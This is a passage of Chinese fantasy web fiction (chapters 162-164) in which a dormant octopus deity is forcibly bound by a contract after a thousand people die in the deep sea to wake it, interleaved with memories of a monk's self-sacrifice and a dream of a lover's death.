佛子答应了。 待到叛军将百姓放出城外,他却骤然出现在城墙高楼上,大力挥动鼓槌,鼓声如狂风骤雨,引世人愕然回头。 赶在叛军冲向城楼前,他解开缠绕手掌的布带,露出长满荆棘的双手,还有皮肤上污黑腐烂的斑疽。 他身着雪白袈裟,眉间一点红痣,神色磊落如高山清泉,飘然乎遗世独立。 他双手高举,张口,一字一句伴随着凛冽佛音,扬言自己是欺世盗名的罪人,只因贪生怕死才听从叛军的号令,此前为叛军正言的宣词,皆为妄言。 如今他遭到佛祖赐罚,自知罪孽深重,但求一死,以恕己罪。 说罢,长剑横举,引颈自戮。 鲜血如梅刹那绽放,缀满雪白袈裟,浸入青石砖墙。 小黑章鱼只来得及见他最后一面。 一瞬间,脑子里仿佛有根名为理智的弦倏然崩断,灵魂被撕成两半,浑身戾气飓风般暴涨,叫嚣着毁灭,叫喊着破坏。 祂疯一般地冲过去,却见那人弥留之际,嘴角颤颤巍巍扯出笑,似有所感地抬起颤抖的手掌。 荆棘全数脱离,修长好看的手掌满是惨不忍睹的血窟窿。 惨白指尖沾满热血,温柔地点在小黑章鱼的额头,传去识念。 【我能暂时脱离叛军掌控,登上城楼澄清罪责,是因有人冒着危险暗中相助。】 【叛军行事桎梏,出此歹策,只因世间多是有志德善之士,不肯与之为伍。】 【哪怕我如此自污,你瞧……】 小黑章鱼满眼猩红,八根触手手忙脚乱地去堵年轻佛子喉咙的伤口,却怎么都堵不住。 祂心中生出莫大的恐慌,刹那感觉整个世界山崩地裂,血的炙热几乎化成熊熊烈焰,将祂焚尽。 可当佛子叫祂看过去的时候,祂还是忍住一切负面情绪,看过去了。 城墙楼下,百姓儒士义人齐聚。 亲眼看见佛子自戮,如冷水落入沸腾油锅,岑寂场面轰然炸开,群情激愤。 昔日受佛子恩惠的人们发出愤懑叫喊,痛心嘶吼,甚至不惧叛军的刀剑,怒骂他们贼子野心,为佛子大声言不平。 隐藏其中的援军将领见士气高涨,正是反攻的大好时机,当即擂响战鼓,全军出击,一举夺回失地。 【人心叵测,有贪婪算计,亦有义薄云天,仁义德善。】 佛子眸色涣散,逐渐失去光彩,手指从小黑章鱼的额头滑落,留下一串蜿蜒血迹。 临死之际,他的唇角依然轻轻地翘着,如他以往那般泰山崩于眼前也面不改色,乐观且淡然。 【愿您前程似锦,窥破人性险恶,尝遍人性之美,得以宽慰……】 【人间很好,不必灰心……】 …… 在这漫长得仿佛没有尽头的记忆拉扯中,宴朔的脑子愈发僵麻,隐觉颤痛。 但祂习惯不苟言笑,面上没有丝毫显露,还是那副傲然孑孓的模样。 只是拳头攥得死紧,森白指尖掐入掌腹,留下深深的印记。 不知坚持多久,祂终于听见。 “——” 有人在说话。 不是一个,是一群人,几百上千。 他们凭空出现在海岸边,站位相对分散,或几人组成小队,或几十个人聚集在一起,动作整齐划一,分工有序明确,不难看出是一个整体。 略显焦躁急切的谈论声掠过翻涌的海浪,细细碎碎,被祂无形发散的识念捕捉。 “……确定是这里吗?不会走错吧?” “错不了,献祭专属道具后建成的神级传送阵,只会传送到特定区域。” “可是这里除了眼前的大海以外什么都没有,连个岛屿都看不见,难道说——” “报告将军!探测器在大约五万米下的海域发现特异能量体,能量阈值直达神级!”手下兴奋至极,快言快语顾不上喘气,“通过数据对比分析,极有可能就是我们这次要寻找的目标。” 可不等被禀报的将军开口,身旁就有人接了腔,音量在不敢置信的语气中直线拔高:“五万米?开什么玩笑!” 这个人不是想质疑数据的准确性,他扭过头,对这场行动的最高指挥官焦躁地解释:“将军,人类抵达海底的最高记录是10916米,超过这个深度,即使是高强度碳纤维特种钢板也无法承受住压力。潜艇会在行驶中途破裂,艇体内压失衡,继而导致直接爆炸!” “五万米太荒谬了,它远远超过现有科技的极限,我们没有办法——” “那是诡异游戏降临前的记录。”被称作将军的人倏然截断他的话。 第162章 岂曰无声 将军说:“游戏降临后,我们在副本中收集到不少稀有道具,借助这些道具,我们甚至能够改变物质分子结构、触碰高维空间、轻松实现反物理操作、操控元素乃至于控制概念,就是得到强化的身体亦有超出正常生物数百倍的原子密度。” “人类已然今非昔比,我们所能做到的极限也早已跨越文件数据中的记录。” 说着,将军看向身侧。 那里安放着不少高精度侦测仪器,带着投影仪的大屏幕,电脑设备环形摆放,银白色的电子晶管纵横交织。 后勤技术小队人员对着显示屏监测数据,其他白大褂走走停停,足以看出气氛紧张。 其中一位年轻负责人在接到将军的眼神指示后,拿出道具。 随着一片夺目的白光闪过,一艘巨大先进的核动能特种潜艇赫然出现在波涛壮阔的海面上,登时吸引住所有人的目光。 技术人员看向潜艇的眼睛熠熠生辉,傲然介绍道:“一万米是以前的数据,现如今我们将副本里收集到的特级材料经过锻造融合,重新改造出来的潜艇足以抗住六万米的深海水压!五万米不在话下!” 话音未落,年迈稳重的潜海工程教授便站了出来,面色凝重:“但是我们不能庆幸得太早。” “虽然侦测器在五万米的海下就检测到了特异能量反应,但具体地点未知。很有可能祂不止在五万米之下,而是六万米,七万米,八万米……一切都是个未知数,毕竟目标不是死物,祂会自主移动。” “一旦潜艇抵达六万米的深度,依旧会出现内外压力失衡导致内爆的危险,所以想要继续前进,必须在那之前离开潜艇,利用道具和强化后的身体,徒手游到目标身边。” 稍稍停顿了一会儿,工程教授继续道:“到那时候,你们将直接面对深海水压的压力,六万米水压相当于六百兆帕,而仅仅0.45兆帕的水压就可以将一个没有强化过的人体击穿。” “也就是说,没有道具护体且身体素质不够高的人,会在脱离潜艇的瞬间炸成血花,没有挣扎的可能,没有治愈的时间。” “而因为事先没人探测过这片神秘的海域,缺少数据模型和实验对象,具体到底要多高的防御力才能承受住压力,我们并不清楚,只能模糊地估算个大概。” 换而言之,承受不住水压的人,只有在死亡的那一刻,才能知道自己不行。 这和闭着眼睛抽死亡盲盒有什么两样? 犹如一盆凉水兜头淋下,人们高涨的士气急转直下,不少人的脸色瞬间白上好几分。 工程教授不仅没有安慰他们,反而肃穆着脸,沉声道:“你们以为这就是这次行动中最大的危险了吗?不,这只是个开始。” “抗住水压之后,你们将面临一片完全未知的环境。没有光源,温度极低,无法传声,极度静谧,任何一项都可能在不知不觉中要了你的命。而黑暗中,可能隐藏着无数食人且强度未知的怪物,遇上后无法得到救援,你的队友可能自顾不暇,是死是活全凭天意。” “我知道在众的各位精英人才,接下这次的行动任务时,都抱着必死的决心。”工程教授以一种沉痛的目光看向众人,眉头挤出两条深深的沟壑,“但我仍旧要事先说明,副本尚且有一线生机,而这次行动,可能是百死无生。” 人群喧哗,面面相觑,交头接耳。 将军再次开口,声线不见起伏:“所以,如果有人想要离开,也在情理之中。” “但为了避免情报泄露,你们不能直接离开,稍后我会让人先将你们送到整备区。不用担心,原本答应的报酬会如常发放到你们的账户。等这次行动结束后,你们就可以自行离去。” “我给你们五分钟的考虑时间,想走的人,现在就可以站出来了。” 死一般的寂静袭来,人们缄默无声,不少人脸上流露出挣扎。 大约几十秒后,人群传出窸窸窣窣的骚动。 有几人走了出来。 临阵反悔,不亚于逃兵。 他们低垂着脑袋,不敢去看其他人鄙夷嗤笑的神情。 但最有资格痛斥他们的将军,却什么也没说,面无表情地挥手让人将他们带去传送阵。 随后又有人陆陆续续地走了出来,被带走。 五分钟结束,总计一千五百人的队伍,竟然还有一千三百多人留下。 将军满是褶皱的脸上,忽而露出欣慰的笑容。 他面向在场一众精英,以一种极其沉重的语气,继续波澜不惊地陈述:“我们是得到不少提升,但与此同时,很多足以颠覆人类现有物理学和科学的诡异事件陆续发生,很多人没有任何准备,就猝不及防地踏入这一场致命游戏。” “到目前为止,粗略统计到的死伤人数不下数十亿!死去的人中有我们的至亲、所爱、朋友、同事……家园不再安全,故土岌岌可危,人们流离失所。 “我相信集结在此地的各位都有目睹,而且是以极其惨烈的代价,来见证这一场惨绝人寰的灾难。” 不少人闻声一颤,咬紧后槽牙,似乎想起什么凄惨悲凉的画面,眼中掠过一片痛色,湿红了眼眶。 将军环视众人,锐利的视线从一张张悲痛沉默的面孔上一掠而过:“但难道要我们就此束手就擒,将家园国土拱手相让,让全人类成为这场游戏的奴隶吗?” 不等旁人开口,他回答:“不。” 那声音果断坚毅,像利剑掷地穿透岩石,铿锵有力,听不出半点退让的余地:“绝无可能。” “人类历史上经历过的灾难数不胜数。公元541年查士丁尼瘟疫致使一亿人死亡,14世纪黑死病席卷欧洲,死掉近三分之一的人口,东汉末年建安大疫,隋唐大旱,嘉靖大地震,明朝末年小冰河时期,1783年冰岛火山爆发——几乎每一场灾难,都给当时的人们带来了致命性的打击。” “可是人类就此灭绝了吗?没有!不仅没有,还发展成如今堪称宏大壮阔的几十亿之众!我们一次又一次用自己的双手抵抗住了那些毁天灭地的灾难,一次又一次在命运湍流中冲破阻碍。人类意志没那么容易被击垮,以前是,现在是,未来也将如此。” 将军激昂扬声:“现如今你我站在这里,就是不容置疑的证明!” 人群静默一瞬。 仿佛有一簇火焰自心中燃烧,顺着血管流经五脏六腑,点燃四肢百骸,让全身每一个细胞都躁动膨胀起来。所有人激动得呼吸急促,面色潮红,目光灼灼。 将军震声:“今日我们高举项上人头站在这里,将一切生死抛之脑后,只为达成一个目的——” “找到那名传说中具有回溯时间的能力的神祇,唤醒祂,与祂签下契约,请祂出海助我们一臂之力!” “记住,不只有我们在战斗。我国三次唤神成功,南有龙王河伯,北有雷神天尊,列祖列宗之志犹在!其他人也正在为之努力!” 将军环顾众人,声若雷霆,震耳欲聋,字字荡气回肠:“*来兮精魄,安兮英灵。长河为咽,青山为证。岂曰无声?山河即名!” 众人激情澎湃,不知谁先附和,和声高喊:“岂曰无声?山河即名!” “此次行动由我领头,请大家与我前往。” “诸位。”将军已有六十多岁,腰背笔直若白杨,发丝苍白,脸上沟壑满布,朝着众人敬礼,眼含热泪,“国家和人民需要我们的时刻——到了。” …… 深海无光,幽暗森寒。 即使玩家将夜视能力拉满,也不见得能在这种能见度为零的地方自由行动。 但小黑章鱼不受任何限制。 祂面无表情,瞳色猩红漠然,将触手从老将军被挤碎的尸骨残片上收回来。 只是中途顿了顿,到底还是又伸了过去。 犹如打捞渔船的钩索,几根触手将水中漂浮的所有骨头碎片都拢到面前,仔细地整理分类。 ——刚才那段用识念探知到的影像,已经是几小时前的事情了。 自佛子自戮后,同年又接连爆发几次叛乱。百姓被战火波及,流离失所,伏尸无数,惨案悲剧不断。 小黑章鱼始终记得佛子死前的话。 但看着天下分分合合,轮回辗转,周而复始没有尽头。 人命犹如草芥被历史车轮无情碾过,成为史书记载中的冰冷数字。 无数人献身殒命却只能换来片刻安宁,有时甚至连片刻都没有。 人类之间的厮杀、争抢、欺压、奴役,从不消停。 祂的心境终于发生改变,变得对一切俗事漠不关心,森厉暴虐。 再也不是当初为了吃口精纯的信仰,就眼巴巴地拽着和尚衣袖的幼年神祇。 不过老将军等人的身死与祂无关,这上千人,有些是扛不住水压死掉的,有些是被水怪咬死的。 还有一些人,分明能跑,却不知道为什么没有逃走,还要转过头来继续送死。 小黑章鱼眉头蹙紧成一团。 约莫这就是人和怪物的代沟,即便在人间游历了几千上万甚至更长的时间,人类的情绪对祂还是很难懂。 但祂没有纠结很久。 因为懒得想。 事实上,祂自几百年前回来后就变得不怎么爱动弹了。 只有饿得受不了的时候,才随意地动一动触手,捡点水怪们的怨气对付两口,其余时间一直在休眠。 这次也是。 谁能想到自己睡醒一睁眼,领域内会平白多出上千具尸体。 水里飘着碎肉脏器,腥味十足,简直让祂痛苦面具。 要不是从老将军的尸骸中提取到对方生前的记忆片段,祂简直要怀疑是不是系统又在想方设法地恶心祂。 是的,小黑章鱼知道诡异游戏,也能感受到游戏的降临。 那个不可一世的系统还专门跑过来骚扰祂,问祂愿不愿意主持游戏对付人类。 作为回报,系统会将居住在海域附近的几千万人改造成祂的狂信徒,绝对忠诚听话,取之不竭。 只是祂没兴趣,嫌烦,不客气地将系统赶走了。 谁知道那家伙死性不改,时不时就要过来搞事,恶心祂一下。 要不是系统核心一直躲在虚空之上,祂非要把对方拆成八块。 小黑章鱼也不知道这群人类是怎么找到这里的,更没有和他们签契约去对抗游戏的兴趣。 说不清为什么,反正就是厌烦,十万分的厌烦。这种厌烦情绪,在看完老将军的记忆后直接攀上顶峰。 ——人类这种不知所谓的赴死精神,到底有什么意义? ——他们甚至没能撑到自己苏醒,就狂妄地以为能和祂成功签下契约。 祂拧着眉头,用精神力将所有尸骨收敛在一起,准备一会儿丢给外面还活着的人类。 然后再严厉警告他们,没事不要随便乱闯别神的领地。 也是这时,一只泛着朦胧金色光晕的手臂突如其来从旁伸出,在小黑章鱼骤然凝缩的视线中,温和坚定地握住了祂的一根触手。 作者有话说:*处摘自北京西山无名英雄纪念碑。 第163章 “贫僧有个俗名,叫叙…… 眼前骤然出现一名人类青年的精神体,周身披着一层渺茫的金光,看不清真实模样。 但从那清晰鲜明的注视感来看,他的眼神应当极其锐利且坚决。 正是因为他的现身,小黑章鱼才后知后觉地想起一个重要的问题。 ——祂为什么会醒? 诚然,是个神都受不了领域之内血肉尸骨乱七八糟漂来漂去的场景,但祂的周围有精神力防护罩。 外界的任何动静,只要不触犯到祂的安危,就不会撼动祂的沉眠。 而这些尸骨,离祂距离最近的一具都只出现在几千米开外,理当不会引起祂的注意。 所以眼下只有一种可能。 祂是被唤醒的。 被眼前的精神体。 但是那怎么可能!就算是现在的人类最强,也无法轻易突破祂的精神屏障,祂又怎么可能被人触碰而毫无知觉? 也是这个时候,小黑章鱼方才注意到青年精神体的背后散着的光斑,细碎微弱,五彩斑斓。 深海幽暗,那碎末的光芒并不显眼,被悬浮的尸骨轻易掩盖。 由于单枚光斑太过微小,就连对力量波动细察入微的邪神都没能第一时间注意。 但当它们汇集在一起,一条坚若磐石的光带便赫然成形。 漂亮轻薄如雪纱织锦,又似横贯夜空的璀璨银河。 盯着那些悬浮的光斑,小黑章鱼瞳孔骤然凝滞,脑子里好像有一声雷响轰然炸开。 眼尖如祂,一眼便看了出来,那些颜色大小不一的光斑,正来源于眼前上千名死者遗留下来的精神力。 单个人类的精神力,不足以渗透祂的精神屏障。 可眼前有上千名人类,他们将精神力凝聚在一起,齐心协力组建成推进青年精神体破开屏障的助力。 小黑章鱼忍不住去触碰那些光斑,人们濒死前的意志几乎瞬时间震入祂的脑海。 神对情绪的感知真真切切地告诉祂,这群人类不是不知道自己的下场,又或者说,他们在利用自己的死亡,利用濒死时将会爆发出来的无限潜力。 ……所以那些明明有机会逃跑的人类,最后都没有跑。宁愿化作森森白骨,也要留下来。 那么多人前赴后继,死而后已。 为的不过是寻求一个唤醒祂的机会。 时隔几百年,小黑章鱼再次感受到了难以用言语形容的震撼。 便是稍稍错神的这不到一秒的时间,青年精神体握住祂的手掌陡然光芒大放,穿透深海阴霾,一股强大的契约力量正顺着这股强光,以不容抵抗的趋势渗透祂的神核。 这个人居然试图强行和祂签订契约? 他是在找死吗! 如果说刚才发现的一幕给小黑章鱼带来的是震惊,那么眼前这个精神体的不自量力便让祂暴怒!暴怒中又透着一股不敢置信。 祂试图反击,却发现反击起来根本没预料中的那么轻松。 也是对峙的电光火石之间,小黑章鱼再次撼然意识到——为什么潜入领域的人类高达上千名,最终被推举出来站在自己面前的不是那名老将军,而是这个看上去无足轻重的年轻人。 每个生命体的精神力都融合着ta自己的意志,一般人能吸收一两人的精神力并将它们灵活化用,已经算得上了不起。 可是这名青年,他不仅承载住了上千人的精神力,甚至到现在都没有崩溃,还能撑得住逼迫祂签订契约! “抱歉。” 精神体忽然“开了腔”。 深海能传导声波,但人类声带传出的波幅无法穿透水的密度。他说出来的话,是借由精神力传递出来的识念。 那声音没有小黑章鱼想象中的锐气逼人,相反,它很平静、淡然,甚至可以说是温柔。 面向祂时格外柔软,带着诚挚的歉意。 “刚才看出您的避世之心坚决,方才出此下策逼您就范,实属抱歉。只是无论如何,我们必须得到回溯时间的能力。” 单听口吻倒是诚恳,可是说出来的话完全不是那么回事,无礼又冒犯。 小黑章鱼怒不可遏,漆黑精神力犹如潮水般倾泻而出,要将这出言无状的人类拍得稀巴烂! 青年闷哼一声,透着难以压抑的痛苦。 但许是有上千人的精神力在他背后支撑,竟然抗住了祂的一发攻击,随后,他发出一声清浅若风的笑。 小黑章鱼被惹毛,分心来攻击他,用来抵抗契约之力的精力自然就少了。 这个契约道具出自诡异游戏,似乎青年没有魂飞魄散,效力就会一直存在,不会减轻。 而灵魂强度又与青年的精神意志成正比例相关,目测没那么容易溃散。 换而言之,祂着了道,青年在故意激怒祂! 看着触手上缓慢浮现出来的金色契约符文,小黑章鱼愈发恼恨,猩红瞳孔冷冷刺过去。 忽然,祂的视线余光注意到身旁殓尸来的白骨堆。 青年的尸骨很有可能就在里面,如果能找出来,就能顺着对方的记忆,追根溯源将他的意志彻底击溃。 小黑章鱼向来想到便做,杀伐果断更是祂与生俱来的本能,八根触手齐齐行动,不停翻找白骨堆。 悬浮在一旁的青年看出祂的意图,但没有阻止,不动声色地继续陈述:“系统意图谋害压榨的目标不止是人类。” “据我们的有效观测,继人类异化成怪物之后,动物、植物甚至微生物都相继出现诡异化案例。更可怕的是,哪怕是没有生命活动的无机质材料,在分子层面都出现了极其诡谲的扭曲,呈现出吞噬的性状。” “而我们不久前刚得到消息,美洲队实力排行榜第一的那名玩家,他的契约神祇大天使长拉斐尔也受到极其恶劣的影响,不仅变得肆虐残暴,还喜欢上了活人献祭,神格逆转,与恶魔无异。” 青年声若磐石,一字一顿:“加百列的事情绝非偶然。这场游戏进行到最后,很有可能地球的所有生灵,包括神祇在内,都将丧失理智互相残杀,最后沦为系统的养料。” “在您的典故传说中,您以人性为食,以骁勇善战闻名。所以请您告诉我——当阴谋诡计在前,外敌虎视眈眈在前,我们能无动于衷,任人宰割吗?” 青年似乎自言自语,又像是在替所有置之死地的先驱者回答:“做不到。” “尽管和那些强大的敌人比起来,我们显得微弱渺小,但人类意志不容侵犯。” 和久经沙场的老将军比起来,青年的语气是要稚嫩生涩许多。 但他话里呈现出的决然,却是不输祂所见识过的任何人。 又是这样……又是这样的人类! 小黑章鱼的触手狠狠一顿。 祂回神,阴沉着脸将青年的骸骨扒拉出来,只是动作不知不觉变得机械僵滞。 看着青年透明涣散的精神体,祂倏然意识到,不需要祂来击垮对方的意志,叫人魂飞魄散,承载上千人精神力的灵魂本来就处于崩溃的边缘。 只要契约签订完成,顷刻间就会粉碎。 不知道是不是即将消亡带给青年的勇气,他握住触手还不够,还斗着胆子摊开双手,将小黑章鱼精神力凝结的假身捧在掌心,情不自禁地将额头蹭上去。 “真是奇怪,明明是第一次看见您,却莫名有种亲切的感觉。”青年笑道,“或许这就是人神的魅力吧,您是不知道,我们之中有多少人崇敬您,不然也不会献出生命来见您了。” 若是对死亡乐见其成的恶神,那无论填进去多少条人命都没用,触动不了邪魔,还会令其兴奋。 不过到那时候,人类会有其他的方法,“劝服”祂们帮忙。 人神? 小黑章鱼想起来了。 祂以前随佛子下山历练,那个看似正经实则离经叛道的小光头,在人前随口给祂取了个“人神”的名讳——明明祂是头怪物,跟人半点不沾边。 可青年的恭维话,不会让祂觉得谄媚,反而有种如沐春风般的惬意。 或许是因为青年快消散了,再去计较也毫无意义。 小黑章鱼忽然有些怅惘,以生灵信仰情绪为食的祂,终归躲不过被生灵坚强耀眼的意志感染。 祂瞥了一眼触手上的契约符文。 佛子死后,祂毫无征兆的神格跃升,觉醒出回溯能力,除却无法回溯到佛子死亡之前,任何时候祂都能随意返回。 这个契约约束不了祂,留着无伤大雅。 祂正好出去验证一下青年话里的真实性,看看那个劳什子的系统,是不是真的胆大包天到敢对神祇下黑手。 但这次,还要不要帮人类的忙,得看祂心情。 忽然,柔和的光晕自青年贴蹭祂的额头散发。 祂忽然感觉到一阵轻松,意识到精神世界的一小部分残暴戾气,竟被青年吸收化解。 小黑章鱼震惊了,终于说出看见青年以来的第一句话:“你都要魂飞魄散了——” 你都要魂飞魄散了,还想着帮我化解戾气? “反正都要死了,剩下的精神力留着也没用,效益最大化嘛。”青年却是轻轻一笑。 这人说着敬语道着歉,姿态却仍旧不卑不亢,腰背从始至终笔直挺立,仿佛再显赫的身份权势威名,也压不跨他的脊梁。 小黑章鱼猝然一抖。 有股无法言喻的熟悉感自心底油然而生,竟觉无限恍惚。 同时,哆嗦一下的触手不经意扫过青年的骸骨。 一段青年的记忆影像浮现在小黑章鱼的脑海。 “将军,我有一个想法,或许能成功唤醒海下的人神。不过属于铤而走险,只有万不得已的时候才能用。” 老将军听过青年的想法,对上那双平静镇定的眼眸,半晌的惊愕语塞后,忍不住发出欣慰的喟叹:“后生可畏啊。” 他不怀疑青年能不能做到,只因:“我记得你,其实你的身体素质远远达不到这次行动标准。之前谢教授力排众议坚持让你参加这次行动,我还纳闷她和你到底是什么愁什么怨。” “现在看来,是我狭隘了,精神上的强大远比肉体更重要。” 将军目光炯炯地看着青年:“小伙子,告诉我,你叫什么名字?” 既然是一级教授特意介绍的人,将军怎么可能记不住青年的名字,他这样郑重其事地问,是在意和看重。 青年的声线谦逊敬重:“谢叙白。大灾难后期被分配到后勤作战部队,隶属第三分队成员。” 小黑章鱼的瞳孔骤然扩张,心脏震颤,仿佛掀起滔天海啸。 昔日佛子的笑语回荡耳畔。 【贫僧法号明镜,不过还有俗名,叫叙白。方丈大师说此名日后将有大造化,我就记下来了,说不准能发大财呢。】 青年竭力全力,为小黑章鱼化解最后一点戾气,声音愈发缥缈虚弱:“其实,我有仔细了解过您的事迹……知道您为什么会不愿入世……” 灵魂寸寸碎裂的滋味并不好受,他颤痛难受,压抑地喘出一口气。 随后弯起如画眉眼。 刹那惊鸿一瞥,风华绽放,便是日月星辰也要在这一笑中黯然失色。 “但我还是想说,世上坏人不少,但好人也是有很多的,您今天不就见到不少吗?不要为那些不值得的人伤心。” 【人心叵测,有贪婪算计,亦有义薄云天,仁义德善。】 “事出紧急,多有得罪,不奢求您的包涵原谅。集结在这里的人,都是拥有伟大意志的人,但愿此行能让您看见和过往不一样的人间风光,能叫您寻得片刻宽慰。” 【愿您前程似锦,窥破人性险恶,尝遍人性之美,得以宽慰。】 “世界没那么坏,不要失望……” 【人间很好,不必灰心……】 话音未落,青年笑容定格,灵魂轰然散碎,如星点消散。 宴朔心跳骤停! 恐惧感铺天盖地袭来,祂猛然自梦中惊醒,猛然睁眼。浑身被冷汗渗透,惊魂不定地环顾四周。 盛天集团办公室寂静得针落可闻。 宴朔胸口起伏,湿红着眼睛看了一圈,最后用力地按了按胀痛的太阳穴,突然一顿。 祂抬头飞快地看向手机,起身用力地攥在手里,以肉眼难觅的速度翻出公司群聊,又闪电般翻出谢叙白好友申请界面。 只是在申请按键上卡了壳,手指在屏幕上抬起又放下,放下又抬起,大写的拧巴。 宴朔盯着谢叙白的备注名,忽然有些说不出的口干舌燥,拧眉纠结。 要……加吗? 加了之后说些什么? 可以肯定谢叙白就是祂放不下的执念,但他们之间具体发生过什么事,又是个什么关系,依然很模糊。 谢叙白记得的可能还没祂多,对了,他现在应该在睡觉,要是被消息提示吵醒,会不会觉得祂莫名其妙? 也是这个时候,身后一道扭曲的阴影悄然靠近宴朔的背后。 正当这道阴影抬手之际,一根粗壮狰狞的触手携着破军之威,掀翻桌椅,狠狠地将这道阴影砸进地面! 第164章 你喜欢玩游戏吗?…… 另一边。 …… 梦里的一切对谢叙白来说犹如隔雾观花,朦朦胧胧。 海水特有的咸涩气息萦绕周遭,像翻涌的浪潮,冲刷手腕,席卷肩背,如有实质地将他的皮肤一寸寸缠紧,狼贪虎视地将他霸占。 勾住腰背的力量爆发感十足,熟悉得不能再熟悉。 谢叙白扬起头,看向被白雾遮盖得严严实实的男人。 用不着怀疑,他认定眼前的人就是宴朔,哪怕看不清长相。 宴朔将谢叙白按在怀里,随后没半点犹豫,蒲扇般的手掌直冲冲地朝着他的腹下摸了过去。 那位置太过私密了点,加上宴朔本尊龙精虎猛的行径过于深入人心,谢叙白眉头狠狠一跳。 ——就是前不久意乱情迷的时候,金丝眼镜忍到掰住他肩膀的手背暴起根根狰狞青筋,也顾忌着他的情绪,没有越雷池半步。 他反射性伸手去挡。 然而他忘记了自己在梦中,行动不受控制,不仅没有挡住宴朔,还虚虚往上一拂,轻轻搭上宴朔的手腕。 苍白无力的皮肤满是冷汗,呈现一股病骨支离的虚疲。 比起阻拦,那更像是一种温和的安抚。 宴朔猛然一顿,笼在他脸上的白雾颤了颤,述说着不稳的情绪。 一股强大的力量波动在他的掌心飓风般汇聚,争先恐后地灌入谢叙白的身体。 这股力量远比江家小触手爆发时庞大得多,形如摧枯拉朽的龙卷风,爆发出令人胆寒的压迫感,震得地砖寸寸碎裂,周围的空间甚至出现扭曲! 可落入谢叙白遍体鳞伤的身体,就像落入深不见底的黑洞,砸不出半点水花。 “艹!”谢叙白听到宴朔口中爆出一句骂。 他几乎以为自己听错了,因为宴朔从来都是一副泰山崩于前而置若罔闻的态度,仿佛世界毁灭都与他没有半毛钱关系。 可那不是错觉。 覆盖在宴朔手腕往下的白雾扑扑簌簌掉落,露出劲瘦有力的指骨。 素来冷漠稳重的男人,天地倾覆都不会吝啬一眼的神祇,此刻指尖抖颤个不停。 谢叙白被莫名的情绪裹挟着,心中一阵酸楚。 他想说点什么,梦境中的他也适时开口,只是还没吭声,便痛得喘出两口气。 宴朔又是一僵,朝他飞快地看了过来。 谢叙白艰难地打起精神,迎着宴朔不留余地的力量倾泻,温和轻柔地开口:“没关系的。” 宴朔没有回答,却像受到更大的刺激,力量翻涌不休,震碎丛林灌木,疯狂撕碎气流。 笼着祂的脸的白雾剧烈晃荡,连这点隐匿身形的力量,也被祂不管不顾地灌输到谢叙白的体内。 似亡命之徒濒临绝望时的孤注一掷,似发了疯。 谢叙白知晓自己的伤势不一般,只因见到宴朔前,他也尝试散发过力量自救,却于事无补。 那不是浮于表面的伤口,是深到波及灵魂的匮缺,从内朝外的腐朽。 连有治疗能力的他都做不了什么,更何况不司治愈的邪神。 不止谢叙白,似乎宴朔也在此刻绝望意识到:祂的力量只能带来毁灭和破坏,没有那个技能,拼尽全力都没用。 但祂是绝不认命的桀骜性子,哪怕谢叙白轻声劝他,哪怕徒劳地将力量灌输到一丝不剩,也不肯罢手。 只是手掌颤抖得越来越厉害,到了最后,变成病急乱投医,手忙脚乱地去堵血流汩汩的伤口。 谢叙白一声闷哼。 他后知后觉地反应过来,怪不得宴朔的手要往这里伸,原来是腹下破了个大洞。 但只恍惚半秒,便再顾不得去想。 该怎样形容宴朔的惊惶和无措? 祂就像孩子,站在一个即将垮塌的堤坝面前,眼睁睁看着水流撑裂缝隙迸出来,急急忙忙拿手去捂。下一秒又看见一处砖瓦破裂,又慌慌张张去堵。 越来越多的水流溅出来,缝隙也越来越多,越裂越开。 “不,不……!” 宴朔捂完这头压那头,掌腹死死地按住谢叙白的伤口,脸上的白雾全裂开了,一片片崩溃地掉下来,露出湿红惶恐的眼睛。 惨白的唇皮哆嗦,肌肉绷紧到颤抖,腰背像是被压垮了,完全佝偻下去。 “别死,谢叙白,你不能死,你明明答应过我,你这个骗子!……你不能死!” 谢叙白当然惜命。 但若是无能为力,他只会叹着气,轻巧地一笑了之。 事到如今,他也想这样劝说宴朔。 话还没来得及出口。 啪嗒。 滚烫的泪水由上而下,重重地砸落在谢叙白的指尖。 谢叙白的呼吸狠狠一滞。 他再度怀疑自己出现了幻觉,可那泪水接连不断,噼里啪啦,一滴接一滴,将他的不敢置信砸得粉碎。 宴朔居然哭了。 冷漠疏狂的邪神谁都不信,却抱紧他发出啊啊啊的呜鸣,念念有词地祈祷,向四方诸神求助。 “谁来救救他,我什么都能做!求求你们,谁来……?” 唰—— 大海拍岸的声浪从不远处传来,断断续续,凄冷寒凉,空气中咸苦的气味愈发浓郁。 无人回应。 四周安静得不像话,全世界好像只剩下他们两个尚且存活的生命体。 看见心高气傲的宴朔一遍遍地大吼,一遍遍地嘶哑恳求,脑袋几乎卑微地磕到地上去。 谢叙白震惊的同时,心脏好似被撕碎,痛得他连呼吸都忍不住痉挛。 他一向对生死看得很开,可此时此刻,却有种自己不能就这么轻松闭眼的沉重,沉甸甸地压在心头,变为一股浓烈的不甘和痛苦。 这一刻他终于和梦境中的自己共鸣,笨拙地忘却所有安抚人的技巧,双眼湿热,淌下泪来,攥着宴朔的手,一遍遍地用拇指揉捏上面鼓起的青筋,一遍遍地喃喃低语。 “不哭,乖,不哭了。” “没关系,用我一个人,再换所有人一次机会,很赚的。” “你会遇上很多很好的人,不要难过……” 谢叙白忽然睫毛垂落,颤了又颤。 他心想,是啊,这世界这么好,宴朔怎么能被他一个人束缚在原地? 宴朔连他的死亡都接受不了,往后漫长的一生,祂又要怎么活? 谢叙白这样想着,轻颤地抬起手指,并不轻松,仿佛这个小小动作耗尽了他所有的力气。 再然后,苍白的指尖缓缓地凝结出一抹光晕。 宴朔陷入悲痛中,一时没能察觉谢叙白的小动作。 直至半秒后,祂的呼吸也猛然僵滞。 宴朔僵硬、机械,不敢相信地看向怀里的青年,眼神变了,寸寸缩紧,嗓音粗粝得像是被砂纸摩擦过:“……你在做什么?” 谢叙白抿着嘴唇没说话,另一只手拽紧宴朔的指骨用力到失去血色。 宴朔发了狂:“你在抽取我的记忆?你想我忘了你?” 祂显然误会了什么,每一个字都如同从齿缝中挤出来的一样,含着暴怒,含着挥之不去的血腥气,口不择言。 “……你问过我愿不愿意吗?谢叙白!是,这就是你的想法,你一直都是这样的人!只要有那千千万人在前,只要是为了你心中的大义,你永远可以把一切抛在后面!包括我!” 谢叙白想要摇头,却实在没有力气。 他虚弱埋头,喉结用力一滚,仿佛借此吞咽下所有的犹疑和泪水。 只坚决地,稳稳地,不留退路地榨干最后一丝力气,让指尖和煦温柔的金色微光,照在宴朔的身上。 宴朔猛然抓住他的手,箍着他的力量骤增,大到恨不得掐断他施展能力的手指,恨不能将他的骨骼挤碎,再揉入自己的骨血。 